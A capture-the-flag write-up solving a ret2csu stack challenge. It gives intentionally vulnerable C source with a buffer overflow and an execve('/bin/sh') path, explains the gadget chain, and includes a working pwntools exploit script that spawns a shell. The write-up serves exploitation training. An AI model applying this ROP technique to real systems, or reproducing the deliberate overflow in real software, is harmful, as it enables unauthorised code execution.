Seal’s Pwn Zero2Hero Stack Challenges - Ret2csu
This is the 9th challenge from Seal’s PWN Zero2Hero
Source for this challenge was provided.
#include <stdio.h>
#include <unistd.h>
// clang vuln.c -o vuln Gcc kept optimising out defuse_bomb even with -O0 so I used clang for this
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void bomb() {
puts("We all died");
}
int defuse_bomb(long wire_one, long wire_two, long wire_three) {
puts("Good luck!");//
if(wire_one == 0xdeadbeefdeadbeef && wire_two == 0xf00dd00dcafebabe) {
char* cmd = "/bin/sh";
puts("You are making some nice progress!");
if(wire_three == 0x1337c0ded457c0de) {
puts("You saved the world!");
execve(cmd, NULL, NULL);
}
}
bomb();
}
void main() {
char buf[0x20];
alarm(6);
printf("A bomb is about to go off, please defuse it quick!\n");
printf("You can find your defuse kit at %p!\n", defuse_bomb);
fgets(buf,0x200,stdin);
}
Gist is that we need to call defuse_bomb()
and pass the correct arguments within 6 seconds.
Vulnerability
There’s a standard buffer overflow where fgets grabs up to 0x200 bytes which more than the buffer (0x20).
Exploitation
This challenge is missing a pop rdx
gadget so currently we can’t pass a third argument without doing a ret2csu.To do this we need gadgets from the images below and a pop rdi
gadget.
Pretty much what will happen is the first arg will go into rdi like normal. The 2nd and 3rd args will be popped into r13 and r14 where they will later get moved to rsi and rdx. to bypass the call to [r15+rbx*8] we’ll set r15 to a pointer for _init()
. Mainly because that function doesnt mess up any of registers that we need.We will also need to pop a 0 into rbx because there’s a comparison that we need to pass so that we hit the return instruction.
Once we have those we can start developing our exploit.
Solution
The script below will solve the challenge. It pops the args into the registers that I listed above and pops junk values (0) into the registers we don’t care about.
from pwn import *
elf = context.binary = ELF("vuln", checksec=False)
gs = '''
b *0x000000000040136a
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)
p.recvuntil(b'at ')
defuse_addr = int(p.recvline()[:-2],16)
log.info(f'[*] {hex(defuse_addr)}')
pop_gadget = p64(0x000000000040136a)
mov_gadget = p64(0x0000000000401350)
pop_rdi = p64(0x0000000000401373)
init = p64(0x4000f8)
offset = 40
payload = b''
payload += b'A' * offset
payload += pop_gadget
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(0) # r12
payload += p64(0xf00dd00dcafebabe) # r13
payload += p64(0x1337c0ded457c0de) # r14
payload += init # r15
payload += mov_gadget
payload += p64(0) # padding
payload += p64(0) # rbx
payload += p64(0) # rbp
payload += p64(0) # r12
payload += p64(0) # r13
payload += p64(0) # r14
payload += p64(0) # r15
payload += pop_rdi
payload += p64(0xdeadbeefdeadbeef)
payload += p64(defuse_addr)
p.sendline(payload)
p.interactive()